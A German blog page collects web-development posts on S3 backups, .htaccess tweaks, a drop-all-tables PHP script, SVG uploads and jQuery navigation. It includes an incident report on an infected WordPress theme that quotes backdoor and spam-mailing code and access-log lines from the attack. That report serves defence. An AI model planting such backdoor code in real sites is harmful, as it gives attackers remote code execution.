MySQL Datenbank Backup auf Amazon S3 speichern

You can find the whole instructions and how to in English when you follow this link: Instructions in English

Datenverluste ohne Datensicherungen sind so gut wie das schlimmste was jedem Webentwickler passieren kann. Ich musste schon 1-2x das ganze auf dem harten Weg erfahren. Inzwischen baue ich jedoch in fast jede Anwendung automatische Back-Ups der Benutzerdaten ein.

Ich stehe dabei voll und ganz auf Cloud Backups, derzeit noch bei Amazon AWS S3 erstens habe ich hier die Möglichkeit meine Region auszuwählen, ich bleibe aufgrund von Datenschutzrichtlinien dabei gerne in der neuen Frankfurt Region, andererseits habe ich auch wirklich geringe Kosten, ich bezahle derzeit pro Monat ca. 0,05$ und das ist mir die Sicherheit meiner Daten definitiv wert. Interessant finde ich auf jeden Fall auch Google Cloud Storage. Google holt inzwischen mit und mit immer mehr im Service Bereich auf und ist wie ich gesehen habe oft auch noch günstiger und bietet mit der Console ein deutlich besseres Benutzerfeeling als AWS. Vielleicht steige ich in Zukunft mal darauf um. (Dann müsste ich das Skript hier allerdings anpassen. ;))

Inzwischen wollte ich das ganze auf dem Webserver der Firma aber automatisieren. Dafür habe ich mir nun ein kleines Bash-Backup Skript geschrieben, welches ich über Crontab jede Nacht um 3:00 Uhr ausführe um möglist keine Nutzer zu stören aber eine gute Backup Abdeckung habe.

Nun möchte ich euch Schritt für Schritt durch den Einrichtungsprozess führen.

0. AWS S3 vorbereiten

S3 Benutzerpolicy

S3 Benutzerpolicy

  1. Zuerst braucht ihr einen Amazon Web Services Account falls ihr den noch nicht besitzt.
  2. Dann einmal ein loggen und einen neuen Bucket (quasi Ordner) für die Backups erstellen.
  3. Optional könnt ihr direkt auch bestimmte sogenannte Lifecycle Policies erstellen. Ich trage dort immer ein das ausschließlich Backups der letzten 30 Tage gespeichert bleiben sollen. Mehr brauche ich nicht, das könnt ihr natürlich anpassen.
  4. Nun müsst ihr im sogenannten IAM einen neuen Benutzer anlegen, mit dem ihr auf euren Bucket zugreifen könnt. Vergebt diesem am besten die Policy AmazonS3FullAccess
  5. Achtet darauf die Access und Secret Keys herunterzuladen, die brauchen wir gleich.

1. s3cmd installieren

s3cmd ist eine Konsole Utility die S3 als Filesystem einbindet und Methoden zum Upload bereitstellt.
Führt folgende Befehle auf um s3cmd auf eurem Server zu installieren, diese Anleitung beschreibt einen Ubuntu Server für andere Distributionen kann sich das ganze ändern.

Achtung! Achtet darauf mindestens Version 1.6.* zu installieren, ältere Versionen unterstützen eine neue Art von Login Verfahren von S3 noch nicht. Die in den Paketquellen vorgehaltenen Versionen sind oft sehr veraltet.

# Installiert s3cmd
sudo apt-get -y install python-setuptools
wget http://netix.dl.sourceforge.net/project/s3tools/s3cmd/1.6.1/s3cmd-1.6.1.tar.gz
tar xvfz s3cmd-1.6.1.tar.gz
cd s3cmd-1.6.1
sudo python setup.py install
# Konfiguriert s3cm
s3cmd --configure

Bei der Konfiguration müsst ihr zu den Access und Secret Keys auch die Region spezifizieren, Frankfurt ist eu-central-1, andere Regionen könnt ihr in der AWS Konsole herausfinden.

2. Skript hochladen

Ladet euch dieses Skript herunter: MySQL zu S3 Backup Skript und passt oben in den ersten Zeilen die Daten an.

Das Skript erstellt ebenfalls ein Verzeichnis backup wo es temporär vor dem hochladen die Dateien ablegt, falls ihr dieses ändern wollt geht dies weiter unten im Code.
Führt dann einmal folgende Befehle aus und überprüft dann ob eine Sicherung erfolgreich hochgeladen wurde.

# Skript ausführbar machen
chmod +x s3backup.sh
# Testlauf los gehts!
./s3backup.sh

3. Automatisch aufrufen lassen

Damit ihr nun nicht jede Nacht um 3:00 Uhr selbst aufstehen müsst um das Skript zu starten, empfiehlt es sich das ganze mit crontab oder runwhen automatisch ausführen zu lassen.

Dazu öffnet ihr mit folgendem Befehl die Crontab Konfigurationsdatei.

crontab -e

Beim ersten Start von Crontab werdet ihr nach einem Editor gefragt, wählt hier einfach nano das ist der einfachste.

Dann fügt ihr folgende Zeile in die Datei ein:

0 3 * * * bash /var/www/s3backup.sh >/dev/null 2>&1

Eventuell müsst ihr den Pfad hier noch ein wenig anpassen. Das Skript wird laut diesem Eintrag, jede Nacht um 3:00 Uhr ausgeführt auch das lässt sich natürlich anpassen.

4. Fertig!

Nun könnt ihr beruhigt schlafen ohne Datenverluste befürchten zu müssen.
Jetzt seid aber ihr dran, habt ihr weitere Idee oder Fragen? Wie löst ihr eure Backup Probleme? Oder habt ihr eine ganz andere Strategie? Ich freue mich auf euer Feedback in den Kommentaren.

MySQL Datenbank leeren per PHP Skript

Manchmal hat man keinen Zugang zu PHPMyAdmin oder Ähnlichem und muss aber trotzdem die Datenbank leeren und die Tabellen alle löschen.
Ich hatte das Problem und keinerlei Zugang zu den Verwaltungstools. Mit einem kleinen selbstentwickelten PHP Skript, welches ich per FTP hochgeladen habe und dann ausgeführt habe lies sich das Problem recht schnell lösen.

Einfach die Platzhalte USERNAME, PASSWORT, DATENBANK mit euren Daten ersetzen und ausführen. Viel Erfolg.

<?php

$mysqli = new mysqli('localhost', 'USERNAME', 'PASSWORT', 'DATENBANK');

if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') '
            . $mysqli->connect_error);
}

$result = $mysqli->query("show tables"); // run the query and assign the result to $result
while($table = $result->fetch_array()) { // go through each row that was returned in $result
    echo($table[0] . "<BR>");
    $mysqli->query('DROP TABLE '.$table[0]);
    echo "geloescht <br>"; // print the table that was returned on that row.
}
?>

Webseite / Uberspace ohne WWW auf WWW umleiten

Manchmal will man aus sozialverträglichen Gründen, dass eine Webseite ausschließlich über die URL mit www. am Anfang erreichbar ist. Alle Anfragen die dann nicht mit www. beginnnen, sollen dann dementsprechend umgeleitet werden. Auch um zu vermeiden, dass Google bei einer Webseite die sowohl über www. als auch ohne erreichbar ist Duplicate Content vermutet, Google rankt solche Seiten meistens schlechter. Man sollte nun darauf achten, dass der Inhalt immer nur über eine einzigartige URL erreichbar ist. Dabei ist das ganze wirklich einfach.

Vorgehen

  1. Verzeichnis mit www. anlegen (Subdomain)
    Das Verzeichnis lässt sich am schnellsten per SSH mit
    $ mkdir /var/virtual/USERNAME/www.DOMAINNAME.de anlegen. Sonst einfach über den FTP-Client das folgende Verzeichnis anlegen /var/virtual/USERNAME/www.DOMAINNAME.de
  2. Nun brauchen wir noch eine .htaccess Datei die unsere Umleitung durchführt. Ich habe euch eine kleine .htaccess Datei vorbereitet, die ihr einfach nur noch anpassen müsst. Dort müsst ihr nur noch euren Domainnamen einsetzen.
    RewriteEngine On
    RewriteCond %{HTTP_HOST} !=www.DOMAIN.de
    RewriteRule (.*) http://www.DOMAIN.de/$1 [R=301,L]
    
  3. Jetzt nur noch schnell die .htaccess in das normale Verzeichnis hochladen (/var/virtual/USERNAME/html) fertig. Eure Webseite ladet ihr dann in das Subdomain Verzeichnis hoch, welches wir in Schritt 1 angelegt haben.

Nun seid ihr dran! Habt ihr Fragen oder eigene Erfahrungen? Ich freue mich auf eure Kommentare.

Google Page Speed verbessern

Der Google Page Speed hat angeblich einen großen Einfluss auf die Platzierung in den Suchergebnissen.

Zwei Punkte dabei, lassen sich mit wenig Aufwand schnell ändern und erzeugen oft schon eine deutliche Steigerung in der Punktanzahl.
Bildschirmfoto vom 2015-02-21 22:53:13
Für beide möchte ich heute ein Snippet präsentieren was in die .htaccess Datei gehört und dann eine hoffentlich große Auswirkung auf die Geschwindigkeit erzielt.

Browser-Caching nutzen

Das Browser Caching „sagt“ dem Browser, wie lange er bestimmte Resourcen im Cache behalten darf und diese quasi nicht neuladen muss. So können Anfragen und vor allem das öftere Herunterladen von Bilder etc. gespart werden.
Bilder sind standardmäig 1 Woche gespeichert, JavaScript und HTML 1 Monat genauso lang wie das Favicon. Die CSS Datei cache ich meistens nur 1 Woche, da ich daran oft viel dran bastle und nicht möchte das kaputte Styles übertragen werden. Beachtet das ihr dann darauf achten solltet, dass ihr bei der Entwicklung auf STRG + R zurückgreifen solltet, falls ihr den Cache zum Test übergehen wollt.

# Caching of resources - fundstuecke im netz
<IfModule mod_expires.c>
 ExpiresActive On
 ExpiresByType text/css "access plus 1 week"
 ExpiresByType text/javascript "access plus 1 month"
 ExpiresByType text/html "access plus 1 month"
 ExpiresByType application/javascript "access plus 1 month"
 ExpiresByType application/x-javascript "access plus 1 month"
 ExpiresByType application/xhtml-xml "access plus 600 seconds"
 ExpiresByType image/gif "access plus 1 week"
 ExpiresByType image/jpeg "access plus 1 week"
 ExpiresByType image/png "access plus 1 week"
 ExpiresByType image/x-icon "access plus 1 month"
 ExpiresByType image/svg+xml "access plus 1 week"
</IfModule>

Komprimierung aktivieren

Die Komprimierung verringert die Größe von Code Files und Bildern aus .svg, indem es Leerzeichen und Absätze entfernt und generell einen Mechanismus ähnlich wie .zip anwendet.
Ich habe noch .svg hinzugefügt, da es noch ein weiteres textbasiertes Format ist welches ich inzwischen aufgrund seiner Vorteile dem verlustfreien Skalieren sehr schätze und desshalb auch wert ist zu komprimieren.

AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/javascript text/javascript image/svg+xml

Jetzt seit ihr dran! Habt ihr Erfahrungen zum Cachen oder mit .htaccess Dateien? Nutzt ihr einen WordPress eigenen Cache oder ein Plugin für euer CMS? Ich freue mich auf eure Kommentare.

WordPress Premium Themes infiziert (Revolution Slider)

Ein Kunde, hat mich vor kurzem darauf aufmerksam gemacht, dass er eine große Menge an E-Mails mit folgendem Betreff bekommt Undelivered Mail Returned to Sender. Normalerweise heißt, dass das E-Mails an falsche E-Mail Adressen gegangen sind und dann zurück gegangen sind, der Kunde hat jedoch keine E-Mails über diesen Account verschickt!
Nach gemeinsamer Suche mit guter Kundenkooperation, haben wir im access_log der Webseite eine recht häufige Anzahl an Aufrufen der 404.php des WordPress Themes gefunden.

188.120.XXX.XX - - [07/Jan/2015:14:45:20 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
92.26.XXX.XX - - [07/Jan/2015:14:45:21 +0100] "POST /wp-content/themes/skybox/404.php HTTP/1.1" 200 4 "-" "Opera 10.00"
188.120.XXX.XXX - - [07/Jan/2015:21:54:13 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:23 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:27 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"

Dem Kunden fiel auf, dass die Aufrufe zeitlich gesehen her, mit dem Eintreffen der Fehlermeldungen bei der E-Mail übereinstimmen. Nach Begutachtung der 404.php des verwendeten Themes (ein Premium Theme von themeforest.net) fanden wir eine stark verseuchte Datei mit Zeilen wie:

if (isset($_GET["ping"]) and $_GET["ping"] == ("ping_host")) { 
echo "true"; 
}else{ 

if (isset($_POST[id])){
	stripslashes($_POST[fun]($_POST[id]));	
}

Und kamen im Endeffekt bei einer E-Mail senden Funktion aus.

if ($sposob_otp == ("true")) 
{
	$return = smtpmail($smtp_host, $smtp_port, $smtp_login, $smtp_passw, $email_polucha, $telo_pisma, $headers);
}else
{
	$return = mail($email_polucha,$tema_pisma,$telo_pisma,$headers);
}

Es scheint als sei das Plugin Revolution Slider der Beginn des Problems. Diese Plugin hat laut heise.de bis einschließlich Version 4.1.4 eine gravierende Sicherheitslücke, die Angreifern Zugriff auf das Dateisystem und die WordPress Konfigurationsdateien und somit auch auf die Datenbank ermöglicht. Das Problem ist, dass diese Plugin als inkludiertes Plugin mit vielen Business / Premium Themes ausgeliefert wird. Dadurch würde es nur aktualisiert werden, wenn auch das Business Theme neu von zum Beispiel thememforest.net heruntergeladen würde. Dies geschieht aber vermutlich nur in den seltesten Fällen. Themeforest.net hat eine Seite eingerichtet, in der geprüft werden kann, ob das verwendete Theme sicher / unsicher ist und ob eventuell bereits ein Update bereitgestellt wurde.

Im beschriebenen Fall scheint nur die 404.php Datei infiziert gewesen zu sein. Außerdem fand ich drei weitere nicht zum Theme gehörige Dateien im Theme Verzeichnis. Nach erster stichpunktartiger Analyse scheint der Schadcode nur zum Versenden von Spam-Emails gedacht. Per POST Request (siehe access_log) scheinen die Daten, die den Mail-Inhalt ausmachen übermittelt worden sein um dann über die PHP-Funktion mail() verschickt zu werden.

Im Theme Verzeichnis /wp-content/themes/THEMENAME fand ich noch die Dateien inc.php, systemscash.php und mainik.phhp. Alle enthalten auf jeden Fall Schadecode, der teilweise sogar verschlüsselt ist um seine Funktion nicht direkt zu erkennen. Durch die Zeitstempel lässt sich das Datum der Infektion recht leicht eingrenzen.
hack

antivirus-manueller-check
Die WordPress Seite wurde kurzfristig vom Netz genommen und wird derzeit sicherheitstechnisch geprüft. Ein Neuaufsetzen des WordPress Systems wird jedoch unumgänglich sein, da nie ganz sicher ist, ob nicht auch noch andere WordPress Dateien verseucht worden sind. Als gutes Plugin zur Aufdeckung von solchen Angriffen, kann ich das Plugin AntiVirus von Sergej Müller, welcher auch andere bekannt und gute Plugins wie AntiSpam Bee geschrieben hat. Es zeigt einem welche Dateien verseucht sind und führt auf Wunsch einen Test auch täglich durch und schickt das Ergebnis dann per E-Mail an den Admin der Seite schickt.

Ich werde in nächster Zeit, auch die anderen infizierten Dateien genauer untersuchen und hier eine kleine Analyse posten.

Noch eine kleine Bitte an alle von euch: UPDATET EURE THEMES / PLUGINS, AUCH WENN ES ETWAS AUFWAND IST. ES LOHNT SICH!

WhatsApp Weihnachts/Silvestergrüße per Broadcast verschicken

Alle Jahre wieder, möchte man die üblichen Weihnachts- / Silvestergrüße per WhatsApp schicken. Doch jeden Kontakt einzeln auszuwählen und dann die oft gleichen Zeilen da hinein zu kopieren ist zeitaufwändig und kann bei einer großen Menge an Kontakten (ca. 200) an die man Grüße verschickt auch leicht von WhatApp als Spam kategorisiert werden.

Die Lösung sind sogenannte Broadcast Listen von WhatsApp. Die Funktion findet man je nach Gerät an anderer Stelle:

Android

Dabei klickt man in der Android Version auf die 3 Punkte rechts oben und dann im sich öffnenden Menü auf neue Broadcast Liste.

iPhone

In der iPhone Version begibt man sich einfach in die Chat Ansicht, wischt einmal nach unten, sodass oben über allen Chats zwei Buttons erscheinen. Nun kann man oben links auf Broadcast Listen tippen.

Für alle weiteren Betriebsysteme gibt es auf der WhatsApp Webseite selbst eine gute Anleitung.

Das danach folgende Verfahren ist auf beiden Geräten gleich: Zunächst könnt ihr in einem Auswahlfenster die Kontakte auswählen, die ihr alle erreichen wollt. Es kommt dann eine Ansicht, die stark dem Gruppenchat ähnelt. Wenn ihr hier nun eine Nachricht schreibt, wird diese an alle die ihr hinzugefügt habt versendet. Der Empfänger merkt von den Listen gar nix, denn eure Nachricht erscheint bei ihm ganz normal im Chat, wie als würdet ihr nur ihm eine Nachricht schreiben. Bei euch auf dem Telefon wird ein kleines Symbol angezeigt, welches ein Megafon zeigt um zu verdeutlichen, dass diese Nachricht über Broadcast Listen gesendet wurde.

Beispiel für eine über eine Broadcast Liste gesendete Nachricht. Von mir an "Mama"

Beispiel für eine über eine Broadcast Liste gesendete Nachricht. Von mir an „Mama“

Der Empfänger sieht diese Symbol nicht. Auch eine Antwort von ihm erscheint nur bei euch im privaten Chat und bei keinem anderem.

Grundsätzlich sind Broadcast Listen bei WhatsApp also eine gute Möglichkeite eine Nachricht an viele verschiedene Personen zu bringen, ohne Gefahr zu laufen als Spam kategorisiert zu werden oder sich die Finger wund zu tippen.

Falls Ihr noch Fragen habt, euch etwas unklar ist, oder ihr einfach nur Danke sagen wollt für die Hilfe. Zögert nicht einen Kommentar zu hinterlassen.

Unbekanntes Gerät im Gerätemanager identifizieren

Als ich gerade, meinen neuen Lenovo Thinkpad Laptop eingerichtet habe, habe ich ein Gerät mir diversen Treiber nicht identifizieren können. Als ich alle Treiber installiert hatte, wurde es immer noch als Unbekanntes PCI-Gerät angezeigt.

Es gibt jedoch eine einfache Möglichkeit um das Gerät zu identifizieren und dann einen passenden Treiber dazu herauszusuchen. Hilfreich ist hier die Webseite PCI Database, hier sind viele Bauteile mit Vendor und Device IDs katalogisiert und vor allem benannt.

Die Webseite fragt und also auf der Startseite nach Vendor und/oder Device ID, diese finden wir im Gerätemanager wenn wir auf das Unbekannte Gerät doppelklicken. Dann wechseln wir zur Lasche Details und wählen im Drop-Down Menü den Punkt Geräteinstanzpfad aus. Nun finden wir im Feld Wert einen recht langen großen String:

PCI\VEN_8086&DEV_8C3A&SUBSYS_502817AA&REV_04\3&21436425&0&B0

In diesem versteckt finden wir nun, Vendor ID und Device ID. Die Vendor ID ist der 4-stellige Zahlencode nach VEN_ und die Device ID ist der Code nach DEV_.

Im nebenstehenden Bild, ist dies auch noch verdeutlicht.
GeräteManager

Nun geben wir diese beiden IDs auf der Startseite der PCI Database ein und nach einem weiteren Enter wird uns schon ein gutes Ergebnis präsentiert, mit dem wir dann wissen um welches Gerät es sich handelt und so gezielt per Beschreibung nach einem Treiber suchen können.

Beispielhafte Ergebnissseite von PCIDatabase

Beispielhafte Ergebnissseite von PCIDatabase

logentries: Schnelles, einfaches Logmangement

Vor kurzem habe ich an einer Umfrage von Logentries teilgenommen um deren Service zu verbessern.

Ich benutze Logentries schon seit längerem, gerade für kleinere Webservices ist die kostenlose Version sehr gut um Logs im Blick zu behalten ohne sich dauernd auf dreihundert FTP-Server aufzuschalten und die Logs zu untersuchen.

Durch umfangreiche Tagging- und Filtermöglichkeiten wird man auf das wichtige hingewiesen und versinkt nicht in sinnlosen Sachen, die einem nicht weiterhelfen.

Der kostenlose Plan ist vollkommen ausreichend für ein paar kleinere Dienste, die nicht Unmengen an Logs rausschicken. Und denen eine Datenaufbewahrungsperoide von 7 Tagen ausreicht. Der erste kostenpflichtige Plan bietet da schon 1 Monat Aufbewahrung und die Möglichkeit automatisch Logs auf Amazon S3 zu archivieren. Preislich liegt dieser Plan zum Zeitpunkt
des Schreibes bei 15$, was umgerechnet nur 11,-€ sind. (Bei jährlicher Abrechung)

Auch die Implementation ist super einfach, jedes PSR kompatible Loggingsystem wie zum Beispiel Monolog lässt sich ganz einfach mit dem Logentries Handler ausstatten, der dann alles sofort weiterleitet, selbstverständlich über https://.
Bei dieser kleinen Umfrage habe ich wohl irgendwo einen kleinen Satz hinterlassen, den die Leute bei Logentries so gut fanden, dass sie mich per E-Mail gefragt haben ob Sie diesen auf ihrer neuen Landingpage zeigen könnten.

Das gefiel mir, erstens weil ich Logentries einfach super finde und zweitens weil ich dadurch auch die Firma in der ich arbeite (QN-Solutions GmbH)ein bisschen bekannter machen kann. Denn auch da benutzen wir Logentries für eigentlich jeden Dienst, den wir deployen und es erleichtert uns viel Arbeit!

Faster log access. Better log search. And easy implementation!
Kevin Behrens, Web Developer, QN-Solutions

Redesigned Landing Page

Redesigned Landing Page

WordPress: .svg Datei Upload erlauben

Standardmässig verweigert der Uploader für die WordPress Mediathek den Upload von vektorbasierten Grafikdateien, zum Beispiel .svg .
Gerade in Zeiten von Retinadisplays und immer größeren Handys mit immer größeren Auflösungen, verwende ich jedoch gerne vektorebasierte Dateien, da diese die ganze Skalierung übernehmen und bei jeder Auflösung scharf und „crisp“ angezeigt werden.

Bei einem Upload einer svg-Datei wird folgende Fehlermeldung angezeigt:

“logolzWeb.svg” konnte wegen eines Fehlers nicht hochgeladen werden
Tut mir leid, aber aus Sicherheitsgründen ist dieser Dateityp nicht erlaubt.

Wenn man folgendes Snippet in die functions.php des verwendeten Themes inplementiert, ist jedoch auch der Upload von .svg Dateien kein Problem mehr und man kann fröhlich seine scharfen Grafiken einbinden.

add_filter('upload_mimes', 'custom_upload_mimes');

function custom_upload_mimes ( $existing_mimes=array() ) {

	// add the file extension to the array

	$existing_mimes['svg'] = 'mime/type';

        // call the modified list of extensions

	return $existing_mimes;

}

Einfache Navigation mit JavaScript (Externe .html Datei in div-Box laden)

Nach langer Zeit haben wir nun auch wieder ein kleines Tutorial zur Erstellung einer Webseite.
Dabei möchten wir heute eine Navigation anlegen, die Inhalte mit einem Klick anzeigt, ohne die Webseite neuzuladen.

Wichtig! Diese Vorgehensweise einer Navigation und der Darstellung von Inhalt ist sehr schlecht für Suchmaschinen. Suchmaschinen wie Google, Yahoo! oder Bing indexieren die Seite indem sie Links folgen die sie auf der Seite finden. Da unsere Links aber keine „echten“ Links sind, d. h. nirgendwo hinführen sondern nur den Inhalt austauschen und somit auf JavaScript basieren, werden Suchmaschinen diesen Links nicht folgen. JavaScript wird von den Suchmaschinen nämlich nicht ausgeführt.

Ich habe das Tutorial in zwei Teile geteilt, Teil 1: Erstellen des Grundgerüstes; Teil 2: Programmieren der Logik.

Teil 1: Grundgerüst

Zuerst bauen wir uns eine kleine Navigation und eine Box für den Inhalt.

<!doctype html>
<html lang="de">
<head>
	<meta charset="UTF-8">
	<title>Navigation mit JavaScript</title>
	<style type="text/css">
		.main{
			width: 800px;
			background-color: #ecf0f1;
			margin: 0 auto;
			padding: 5px;
		}

		nav{
			background-color: #27ae60;
		}

		.fn-nav li {
			display: inline;
			padding: 3px;
			margin-left: 5px;
		}

		.fn-nav li:hover {
			background-color: #2ecc71;
		}

		.fn-nav li a:hover {
			text-decoration: none;
		}

		.fn-nav li a{
			text-decoration: none;
			color: #34495e;
		}

		.content {
			border-top: 1px dashed #95a5a6;
			padding: 5px;
		}
	</style>
</head>
<body>
	<div class="main">
		<nav>
			<ul class="fn-nav">
				<li><a data-site="home" href="#">Home</a></li>
				<li><a data-site="termine" href="#">Termine</a></li>
				<li><a data-site="infos" href="#">Informationen</a></li>
			</ul>
		</nav>
		<div class="content">
			<!-- Hier wird später der Inhalt stehen -->
			INHALT
		</div>
	</div>
	<!-- Hier kommt JavaScript hin. -->
</body>
</html>

Die Navigation besteht hierbei aus einer ungeordneten Liste mit unendlich vielen <li></li>-Elementen, die jeweils einen Link enthalten. Damit die Listenpunkte nicht untereinander sind, verwenden wir die CSS-Eigenschaft display: inline; welche die Punkte horizontal anordnet.
Um einen schönen Zoom-Effekt zu haben, wenn man über die Links geht, legen wir einen :hover Status im CSS an, der die Farbe leicht verändert und den Link vergrößert.
Außerdem entfernen wir noch die hässliche blaue Standardfarbe der Links und deren Unterstreichung mit text-decoration: none; und color: #34495e;. Der Box für den Inhalt (.content) geben wir einen gestrichelten, obereren Rand sodass es wie eine Grenze aussieht, die Navigation und Inhalt trennt.
Um allem noch den letzten Schliff zu geben, setzen wir überall noch passende Abstände und Hintergrundfarben.

Teil 1,5: Übergang

Wer sich den Code genau angeschaut hat, dem wird bei den Links vermutlich das seltsame Attribut aufgefallen seien.
<a data-site="home" href="#">Home</a>
HTML5 erlaubt es uns eigene Attribute anzulegen, die wir ganz einfach mit jQuery auslesen können.
Einzige Vorraussetzung ist, das diese Attribute mit data-* beginnen.
Wir werden dieses Attribut data-site benutzen um die Links mit .html-Dateien zu verknüpfen, die dann später in die Box geladen werden. Das heißt, in diesem Attribut steht der Name der .html-Datei die geladen wird.
Beispiel:
Code: <a data-site="home" href="#">Home</a>
Geladene .html-Datei: home.html

Um im Logikteil jQuery benutzen zu können, müssen wir diese Bibliothek aber noch einbinden.
Dazu fügen wir unterdem Kommentar <!– Hier kommt JavaScript hin. –> folgende Zeile ein:

<script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>

Diese lädt jQuery vom offiziellen Server sodass wir es einfach benutzen können.

Teil 2: Logik

Unser Ziel ist es, bei einem Klick auf einen Link herauszufinden welche Datei damit verknüpft ist und diese laden und dann in der Box anzeigen.

Wir haben also folgende Aufgaben:

  1. Klick auf Link feststellen.
  2. Namen der verknüpften Datei herausfinden.
  3. Die Datei laden.
  4. Den Inhalt der Box mit dem Inhalt der geladenen Datei ersetzen.

Um dies alles zu verwirklichen brauchen wir folgenden Code. Diese muss einfach nach dem <script... Tag eingefügt werden. Ich habe jede Anweisung im Code kommentiert sodass dieser auch für Anfänger zu verstehen ist.

<script type="text/javascript">
		// Erst starten wenn das Dokument fertig geladen ist.
		$(document).ready(function(){ 
			// Beim ersten Laden muss eine Seite geladen werden.
			$(".content").load("home.html");


			// WENN auf einen Link innerhalb von .fn-nav geklickt wurde, DANN führe diese Funktion aus.
			$('.fn-nav a').click(function(e){
				// Verhindert, dass der Browser die Seite beim Klick auf einen Link neulädt.
				e.preventDefault(); 

				// Speichert den Inhalt des Attributes in der Variablen site.
				var site = $(this).data('site'); 

				// .html an den Namen anhängen.
				site = site + '.html'; 
				
				// Seite laden und in .content einsetzen.
				$(".content").load(site); 
			});
		});
</script>
Achtung! Wenn man dieses Beispiel lokal, auf dem eigenen Rechner mit Google Chrome ausprobiert, so wird es NICHT funktionieren. Das liegt daran das Google Chrome das indirekte Nachladen von lokalen Dateien nicht erlaubt. Zum Testen empfehle ich daher Mozilla Firefox. Wenn das ganze auf einem Server läuft, funktioniert es selbstverständlich auch in Chrome.

Nun sollte alles funktionieren. Ich hoffe ich konnte beim Erstellen einer Navigation helfen. Bei Fragen oder Problemen stehe ich gerne via Kommentar unten zur Verfügung.
Wer nicht selber tippen möchte, kann sich alles einfach oben herunterladen. Oder auch erst die Demo ausprobieren.